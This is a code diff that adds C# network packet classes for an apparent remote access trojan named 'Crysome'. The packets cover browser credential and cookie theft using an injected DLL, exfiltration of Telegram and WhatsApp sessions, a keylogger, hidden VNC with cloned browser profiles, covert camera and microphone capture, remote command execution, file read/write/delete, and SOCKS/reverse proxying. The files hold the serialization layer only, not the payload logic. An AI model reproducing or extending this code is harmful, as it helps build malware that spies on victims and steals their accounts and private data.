|
||||
public int ConnectionId { get; set; }
|
||||
|
||||
public ReverseProxyEndPacket()
|
||||
{
|
||||
}
|
||||
|
||||
public ReverseProxyEndPacket(int connectionId)
|
||||
{
|
||||
ConnectionId = connectionId;
|
||||
}
|
||||
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
w.Write(ConnectionId);
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
ConnectionId = r.ReadInt32();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,27 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Client;
|
||||
|
||||
public class RunCommandResponsePacket : IPacket
|
||||
{
|
||||
public string Output { get; set; }
|
||||
|
||||
public RunCommandResponsePacket()
|
||||
{
|
||||
}
|
||||
|
||||
public RunCommandResponsePacket(string output)
|
||||
{
|
||||
Output = output;
|
||||
}
|
||||
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
w.Write(Output ?? "");
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
Output = r.ReadString();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,16 @@
|
||||
namespace Crysome.Common.Network.Packets.Client;
|
||||
|
||||
public class ScreenInfo
|
||||
{
|
||||
public string Name { get; set; }
|
||||
|
||||
public int X { get; set; }
|
||||
|
||||
public int Y { get; set; }
|
||||
|
||||
public int Width { get; set; }
|
||||
|
||||
public int Height { get; set; }
|
||||
|
||||
public bool IsPrimary { get; set; }
|
||||
}
|
||||
@@ -0,0 +1,55 @@
|
||||
using System;
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Client;
|
||||
|
||||
public class ScreensResponsePacket : IPacket
|
||||
{
|
||||
public ScreenInfo[] Screens { get; set; } = Array.Empty<ScreenInfo>();
|
||||
|
||||
public ScreensResponsePacket()
|
||||
{
|
||||
}
|
||||
|
||||
public ScreensResponsePacket(ScreenInfo[] screens)
|
||||
{
|
||||
Screens = screens ?? Array.Empty<ScreenInfo>();
|
||||
}
|
||||
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
ScreenInfo[] screens = Screens;
|
||||
w.Write((screens != null) ? screens.Length : 0);
|
||||
if (Screens != null)
|
||||
{
|
||||
ScreenInfo[] screens2 = Screens;
|
||||
foreach (ScreenInfo screenInfo in screens2)
|
||||
{
|
||||
w.Write(screenInfo.Name ?? "");
|
||||
w.Write(screenInfo.X);
|
||||
w.Write(screenInfo.Y);
|
||||
w.Write(screenInfo.Width);
|
||||
w.Write(screenInfo.Height);
|
||||
w.Write(screenInfo.IsPrimary);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
int num = r.ReadInt32();
|
||||
Screens = new ScreenInfo[num];
|
||||
for (int i = 0; i < num; i++)
|
||||
{
|
||||
Screens[i] = new ScreenInfo
|
||||
{
|
||||
Name = r.ReadString(),
|
||||
X = r.ReadInt32(),
|
||||
Y = r.ReadInt32(),
|
||||
Width = r.ReadInt32(),
|
||||
Height = r.ReadInt32(),
|
||||
IsPrimary = r.ReadBoolean()
|
||||
};
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,32 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Client;
|
||||
|
||||
public class TakeScreenshotResponsePacket : IPacket
|
||||
{
|
||||
public byte[] ImageData { get; set; }
|
||||
|
||||
public TakeScreenshotResponsePacket()
|
||||
{
|
||||
}
|
||||
|
||||
public TakeScreenshotResponsePacket(byte[] imageData)
|
||||
{
|
||||
ImageData = imageData;
|
||||
}
|
||||
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
w.Write((ImageData != null) ? ImageData.Length : 0);
|
||||
if (ImageData != null)
|
||||
{
|
||||
w.Write(ImageData);
|
||||
}
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
int count = r.ReadInt32();
|
||||
ImageData = r.ReadBytes(count);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,33 @@
|
||||
using System;
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Client;
|
||||
|
||||
public class TelegramSessionResponsePacket : IPacket
|
||||
{
|
||||
public string UserName { get; set; }
|
||||
|
||||
public byte[] ZipBytes { get; set; }
|
||||
|
||||
public string Error { get; set; }
|
||||
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
w.Write(UserName ?? "");
|
||||
w.Write(Error ?? "");
|
||||
byte[] zipBytes = ZipBytes;
|
||||
w.Write((zipBytes != null) ? zipBytes.Length : 0);
|
||||
if (ZipBytes != null && ZipBytes.Length != 0)
|
||||
{
|
||||
w.Write(ZipBytes);
|
||||
}
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
UserName = r.ReadString();
|
||||
Error = r.ReadString();
|
||||
int num = r.ReadInt32();
|
||||
ZipBytes = ((num > 0) ? r.ReadBytes(num) : Array.Empty<byte>());
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,43 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Client;
|
||||
|
||||
public class WhatsAppSessionResponsePacket : IPacket
|
||||
{
|
||||
public bool Success { get; set; }
|
||||
|
||||
public string ErrorMessage { get; set; }
|
||||
|
||||
public byte[] ZipData { get; set; }
|
||||
|
||||
public WhatsAppSessionResponsePacket()
|
||||
{
|
||||
}
|
||||
|
||||
public WhatsAppSessionResponsePacket(bool success, string errorMessage, byte[] zipData)
|
||||
{
|
||||
Success = success;
|
||||
ErrorMessage = errorMessage ?? "";
|
||||
ZipData = zipData;
|
||||
}
|
||||
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
w.Write(Success);
|
||||
w.Write(ErrorMessage ?? "");
|
||||
int num = ((ZipData != null) ? ZipData.Length : 0);
|
||||
w.Write(num);
|
||||
if (num > 0)
|
||||
{
|
||||
w.Write(ZipData);
|
||||
}
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
Success = r.ReadBoolean();
|
||||
ErrorMessage = r.ReadString();
|
||||
int num = r.ReadInt32();
|
||||
ZipData = ((num > 0) ? r.ReadBytes(num) : new byte[0]);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,26 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Client;
|
||||
|
||||
public class WriteFileResponsePacket : IPacket
|
||||
{
|
||||
public bool Success { get; set; }
|
||||
|
||||
public string ErrorMessage { get; set; }
|
||||
|
||||
public long TransferId { get; set; }
|
||||
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
w.Write(Success);
|
||||
w.Write(ErrorMessage ?? "");
|
||||
w.Write(TransferId);
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
Success = r.ReadBoolean();
|
||||
ErrorMessage = r.ReadString();
|
||||
TransferId = r.ReadInt64();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,14 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Server;
|
||||
|
||||
public class ClientInfoRequestPacket : IPacket
|
||||
{
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,27 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Server;
|
||||
|
||||
public class DeleteFileRequestPacket : IPacket
|
||||
{
|
||||
public string Path { get; set; }
|
||||
|
||||
public DeleteFileRequestPacket()
|
||||
{
|
||||
}
|
||||
|
||||
public DeleteFileRequestPacket(string path)
|
||||
{
|
||||
Path = path;
|
||||
}
|
||||
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
w.Write(Path ?? "");
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
Path = r.ReadString();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,27 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Server;
|
||||
|
||||
public class DirectLinkRequestPacket : IPacket
|
||||
{
|
||||
public string Url { get; set; }
|
||||
|
||||
public DirectLinkRequestPacket()
|
||||
{
|
||||
}
|
||||
|
||||
public DirectLinkRequestPacket(string url)
|
||||
{
|
||||
Url = url;
|
||||
}
|
||||
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
w.Write(Url ?? "");
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
Url = r.ReadString();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,27 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Server;
|
||||
|
||||
public class DownloadFileRequestPacket : IPacket
|
||||
{
|
||||
public string Url { get; set; }
|
||||
|
||||
public DownloadFileRequestPacket()
|
||||
{
|
||||
}
|
||||
|
||||
public DownloadFileRequestPacket(string url)
|
||||
{
|
||||
Url = url;
|
||||
}
|
||||
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
w.Write(Url ?? "");
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
Url = r.ReadString();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,37 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Server;
|
||||
|
||||
public class FileTransferRequestPacket : IPacket
|
||||
{
|
||||
public string Filename { get; set; }
|
||||
|
||||
public byte[] FileData { get; set; }
|
||||
|
||||
public FileTransferRequestPacket()
|
||||
{
|
||||
}
|
||||
|
||||
public FileTransferRequestPacket(string filename, byte[] fileData)
|
||||
{
|
||||
Filename = filename;
|
||||
FileData = fileData;
|
||||
}
|
||||
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
w.Write(Filename ?? "");
|
||||
w.Write((FileData != null) ? FileData.Length : 0);
|
||||
if (FileData != null)
|
||||
{
|
||||
w.Write(FileData);
|
||||
}
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
Filename = r.ReadString();
|
||||
int count = r.ReadInt32();
|
||||
FileData = r.ReadBytes(count);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,14 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Server;
|
||||
|
||||
public class GetAudioDevicesPacket : IPacket
|
||||
{
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,14 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Server;
|
||||
|
||||
public class GetCameraDevicesPacket : IPacket
|
||||
{
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,32 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Server;
|
||||
|
||||
public class GetDirectoryRequestPacket : IPacket
|
||||
{
|
||||
public string Path { get; set; }
|
||||
|
||||
public long RequestId { get; set; }
|
||||
|
||||
public GetDirectoryRequestPacket()
|
||||
{
|
||||
}
|
||||
|
||||
public GetDirectoryRequestPacket(string path, long requestId = 0L)
|
||||
{
|
||||
Path = path;
|
||||
RequestId = requestId;
|
||||
}
|
||||
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
w.Write(Path ?? "");
|
||||
w.Write(RequestId);
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
Path = r.ReadString();
|
||||
RequestId = ((r.BaseStream.Position < r.BaseStream.Length) ? r.ReadInt64() : 0);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,18 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Server;
|
||||
|
||||
public class GetDrivesRequestPacket : IPacket
|
||||
{
|
||||
public long RequestId { get; set; }
|
||||
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
w.Write(RequestId);
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
RequestId = ((r.BaseStream.Position < r.BaseStream.Length) ? r.ReadInt64() : 0);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,14 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Server;
|
||||
|
||||
public class GetProcessListRequestPacket : IPacket
|
||||
{
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,14 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Server;
|
||||
|
||||
public class GetScreensRequestPacket : IPacket
|
||||
{
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,14 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Server;
|
||||
|
||||
public class GetSystemInfoRequestPacket : IPacket
|
||||
{
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,26 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Server;
|
||||
|
||||
public class HvncInputPacket : IPacket
|
||||
{
|
||||
public int Msg { get; set; }
|
||||
|
||||
public int WParam { get; set; }
|
||||
|
||||
public int LParam { get; set; }
|
||||
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
w.Write(Msg);
|
||||
w.Write(WParam);
|
||||
w.Write(LParam);
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
Msg = r.ReadInt32();
|
||||
WParam = r.ReadInt32();
|
||||
LParam = r.ReadInt32();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,69 @@
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Server;
|
||||
|
||||
public class HvncRunRequestPacket : IPacket
|
||||
{
|
||||
public const byte ActionExplorer = 0;
|
||||
|
||||
public const byte ActionRunDialog = 1;
|
||||
|
||||
public const byte ActionCmd = 2;
|
||||
|
||||
public const byte ActionPowerShell = 3;
|
||||
|
||||
public const byte ActionChrome = 4;
|
||||
|
||||
public const byte ActionEdge = 5;
|
||||
|
||||
public const byte ActionFirefox = 6;
|
||||
|
||||
public const byte ActionOpera = 7;
|
||||
|
||||
public const byte ActionOperaGX = 8;
|
||||
|
||||
public const byte ActionBrave = 9;
|
||||
|
||||
public const byte ActionCustom = 10;
|
||||
|
||||
public const byte ActionCloneChrome = 11;
|
||||
|
||||
public const byte ActionCloneEdge = 12;
|
||||
|
||||
public const byte ActionCloneFirefox = 13;
|
||||
|
||||
public const byte ActionCloneOpera = 14;
|
||||
|
||||
public const byte ActionCloneOperaGX = 15;
|
||||
|
||||
public const byte ActionCloneBrave = 16;
|
||||
|
||||
public const byte ActionNotepad = 17;
|
||||
|
||||
public const byte ActionCalculator = 18;
|
||||
|
||||
public const byte ActionDiscord = 19;
|
||||
|
||||
public byte Action { get; set; }
|
||||
|
||||
public string Path { get; set; }
|
||||
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
w.Write(Action);
|
||||
byte[] bytes = Encoding.UTF8.GetBytes(Path ?? "");
|
||||
w.Write(bytes.Length);
|
||||
if (bytes.Length != 0)
|
||||
{
|
||||
w.Write(bytes);
|
||||
}
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
Action = r.ReadByte();
|
||||
int num = r.ReadInt32();
|
||||
Path = ((num > 0) ? Encoding.UTF8.GetString(r.ReadBytes(num)) : "");
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,27 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Server;
|
||||
|
||||
public class KillProcessRequestPacket : IPacket
|
||||
{
|
||||
public int Pid { get; set; }
|
||||
|
||||
public KillProcessRequestPacket()
|
||||
{
|
||||
}
|
||||
|
||||
public KillProcessRequestPacket(int pid)
|
||||
{
|
||||
Pid = pid;
|
||||
}
|
||||
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
w.Write(Pid);
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
Pid = r.ReadInt32();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,27 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Server;
|
||||
|
||||
public class PingRequestPacket : IPacket
|
||||
{
|
||||
public long ServerTick { get; set; }
|
||||
|
||||
public PingRequestPacket()
|
||||
{
|
||||
}
|
||||
|
||||
public PingRequestPacket(long serverTick)
|
||||
{
|
||||
ServerTick = serverTick;
|
||||
}
|
||||
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
w.Write(ServerTick);
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
ServerTick = r.ReadInt64();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,35 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Server;
|
||||
|
||||
public class RdpSetQualityPacket : IPacket
|
||||
{
|
||||
public int Quality { get; set; } = 80;
|
||||
|
||||
public int IntervalMs { get; set; }
|
||||
|
||||
public RdpSetQualityPacket()
|
||||
{
|
||||
}
|
||||
|
||||
public RdpSetQualityPacket(int quality, int intervalMs = 0)
|
||||
{
|
||||
Quality = quality;
|
||||
IntervalMs = intervalMs;
|
||||
}
|
||||
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
w.Write(Quality);
|
||||
w.Write(IntervalMs);
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
Quality = r.ReadInt32();
|
||||
if (r.BaseStream.Position < r.BaseStream.Length)
|
||||
{
|
||||
IntervalMs = r.ReadInt32();
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,32 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Server;
|
||||
|
||||
public class ReadFileRequestPacket : IPacket
|
||||
{
|
||||
public string Path { get; set; }
|
||||
|
||||
public long TransferId { get; set; }
|
||||
|
||||
public ReadFileRequestPacket()
|
||||
{
|
||||
}
|
||||
|
||||
public ReadFileRequestPacket(string path, long transferId = 0L)
|
||||
{
|
||||
Path = path ?? "";
|
||||
TransferId = transferId;
|
||||
}
|
||||
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
w.Write(Path ?? "");
|
||||
w.Write(TransferId);
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
Path = r.ReadString();
|
||||
TransferId = ((r.BaseStream.Position < r.BaseStream.Length) ? r.ReadInt64() : 0);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,30 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Server;
|
||||
|
||||
public class RemoteInputPacket : IPacket
|
||||
{
|
||||
public byte Kind { get; set; }
|
||||
|
||||
public int X { get; set; }
|
||||
|
||||
public int Y { get; set; }
|
||||
|
||||
public int ButtonOrKey { get; set; }
|
||||
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
w.Write(Kind);
|
||||
w.Write(X);
|
||||
w.Write(Y);
|
||||
w.Write(ButtonOrKey);
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
Kind = r.ReadByte();
|
||||
X = r.ReadInt32();
|
||||
Y = r.ReadInt32();
|
||||
ButtonOrKey = r.ReadInt32();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,42 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Server;
|
||||
|
||||
public class RequestAudioPacket : IPacket
|
||||
{
|
||||
public int Seconds { get; set; } = 5;
|
||||
|
||||
public int DeviceIndex { get; set; }
|
||||
|
||||
public RequestAudioPacket()
|
||||
{
|
||||
}
|
||||
|
||||
public RequestAudioPacket(int seconds, int deviceIndex = 0)
|
||||
{
|
||||
Seconds = seconds;
|
||||
DeviceIndex = deviceIndex;
|
||||
}
|
||||
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
w.Write(Seconds);
|
||||
w.Write(DeviceIndex);
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
Seconds = r.ReadInt32();
|
||||
try
|
||||
{
|
||||
if (r.BaseStream.Position < r.BaseStream.Length)
|
||||
{
|
||||
DeviceIndex = r.ReadInt32();
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
DeviceIndex = 0;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,37 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Server;
|
||||
|
||||
public class RequestCameraFramePacket : IPacket
|
||||
{
|
||||
public int DeviceIndex { get; set; }
|
||||
|
||||
public RequestCameraFramePacket()
|
||||
{
|
||||
}
|
||||
|
||||
public RequestCameraFramePacket(int deviceIndex)
|
||||
{
|
||||
DeviceIndex = deviceIndex;
|
||||
}
|
||||
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
w.Write(DeviceIndex);
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (r.BaseStream.Length >= 4)
|
||||
{
|
||||
DeviceIndex = r.ReadInt32();
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
DeviceIndex = 0;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,48 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Server;
|
||||
|
||||
public class RequestCredentialsPacket : IPacket
|
||||
{
|
||||
public const byte TypePasswords = 0;
|
||||
|
||||
public const byte TypeCookies = 1;
|
||||
|
||||
public const byte TypeBoth = 2;
|
||||
|
||||
public const byte TypeAutofills = 3;
|
||||
|
||||
public const byte TypeAll = 4;
|
||||
|
||||
public byte RequestType { get; set; }
|
||||
|
||||
public byte[] DllBytes { get; set; }
|
||||
|
||||
public RequestCredentialsPacket()
|
||||
{
|
||||
}
|
||||
|
||||
public RequestCredentialsPacket(byte requestType, byte[] dllBytes = null)
|
||||
{
|
||||
RequestType = requestType;
|
||||
DllBytes = dllBytes;
|
||||
}
|
||||
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
w.Write(RequestType);
|
||||
int num = ((DllBytes != null) ? DllBytes.Length : 0);
|
||||
w.Write(num);
|
||||
if (num > 0)
|
||||
{
|
||||
w.Write(DllBytes);
|
||||
}
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
RequestType = r.ReadByte();
|
||||
int num = r.ReadInt32();
|
||||
DllBytes = ((num > 0) ? r.ReadBytes(num) : null);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,14 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Server;
|
||||
|
||||
public class RestartRequestPacket : IPacket
|
||||
{
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,27 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Server;
|
||||
|
||||
public class ReverseProxyStartPacket : IPacket
|
||||
{
|
||||
public int ConnectionId { get; set; }
|
||||
|
||||
public ReverseProxyStartPacket()
|
||||
{
|
||||
}
|
||||
|
||||
public ReverseProxyStartPacket(int connectionId)
|
||||
{
|
||||
ConnectionId = connectionId;
|
||||
}
|
||||
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
w.Write(ConnectionId);
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
ConnectionId = r.ReadInt32();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,27 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Server;
|
||||
|
||||
public class RunCommandRequestPacket : IPacket
|
||||
{
|
||||
public string Command { get; set; }
|
||||
|
||||
public RunCommandRequestPacket()
|
||||
{
|
||||
}
|
||||
|
||||
public RunCommandRequestPacket(string command)
|
||||
{
|
||||
Command = command;
|
||||
}
|
||||
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
w.Write(Command ?? "");
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
Command = r.ReadString();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,37 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Server;
|
||||
|
||||
public class SendFileRequestPacket : IPacket
|
||||
{
|
||||
public string Filename { get; set; }
|
||||
|
||||
public byte[] FileData { get; set; }
|
||||
|
||||
public SendFileRequestPacket()
|
||||
{
|
||||
}
|
||||
|
||||
public SendFileRequestPacket(string filename, byte[] fileData)
|
||||
{
|
||||
Filename = filename;
|
||||
FileData = fileData;
|
||||
}
|
||||
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
w.Write(Filename ?? "");
|
||||
w.Write((FileData != null) ? FileData.Length : 0);
|
||||
if (FileData != null)
|
||||
{
|
||||
w.Write(FileData);
|
||||
}
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
Filename = r.ReadString();
|
||||
int count = r.ReadInt32();
|
||||
FileData = r.ReadBytes(count);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,27 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Server;
|
||||
|
||||
public class StartAudioStreamPacket : IPacket
|
||||
{
|
||||
public int DeviceIndex { get; set; }
|
||||
|
||||
public StartAudioStreamPacket()
|
||||
{
|
||||
}
|
||||
|
||||
public StartAudioStreamPacket(int deviceIndex)
|
||||
{
|
||||
DeviceIndex = deviceIndex;
|
||||
}
|
||||
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
w.Write(DeviceIndex);
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
DeviceIndex = r.ReadInt32();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,22 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Server;
|
||||
|
||||
public class StartHvncPacket : IPacket
|
||||
{
|
||||
public int Quality { get; set; } = 80;
|
||||
|
||||
public int IntervalMs { get; set; } = 100;
|
||||
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
w.Write(Quality);
|
||||
w.Write(IntervalMs);
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
Quality = r.ReadInt32();
|
||||
IntervalMs = r.ReadInt32();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,14 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Server;
|
||||
|
||||
public class StartKeyloggerPacket : IPacket
|
||||
{
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,27 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Server;
|
||||
|
||||
public class StartProxyRequestPacket : IPacket
|
||||
{
|
||||
public int SocksPort { get; set; }
|
||||
|
||||
public StartProxyRequestPacket()
|
||||
{
|
||||
}
|
||||
|
||||
public StartProxyRequestPacket(int socksPort)
|
||||
{
|
||||
SocksPort = socksPort;
|
||||
}
|
||||
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
w.Write(SocksPort);
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
SocksPort = r.ReadInt32();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,46 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Server;
|
||||
|
||||
public class StartRemoteDesktopPacket : IPacket
|
||||
{
|
||||
public int IntervalMs { get; set; } = 200;
|
||||
|
||||
public int ScreenIndex { get; set; } = -1;
|
||||
|
||||
public int UdpPort { get; set; }
|
||||
|
||||
public uint SessionToken { get; set; }
|
||||
|
||||
public byte CaptureMode { get; set; }
|
||||
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
w.Write(IntervalMs);
|
||||
w.Write(ScreenIndex);
|
||||
w.Write(UdpPort);
|
||||
w.Write(SessionToken);
|
||||
w.Write(CaptureMode);
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
IntervalMs = r.ReadInt32();
|
||||
if (r.BaseStream.Position < r.BaseStream.Length)
|
||||
{
|
||||
ScreenIndex = r.ReadInt32();
|
||||
}
|
||||
if (r.BaseStream.Position < r.BaseStream.Length)
|
||||
{
|
||||
UdpPort = r.ReadInt32();
|
||||
}
|
||||
if (r.BaseStream.Position < r.BaseStream.Length)
|
||||
{
|
||||
SessionToken = r.ReadUInt32();
|
||||
}
|
||||
if (r.BaseStream.Position < r.BaseStream.Length)
|
||||
{
|
||||
CaptureMode = r.ReadByte();
|
||||
}
|
||||
}
|
||||
}
|
||||
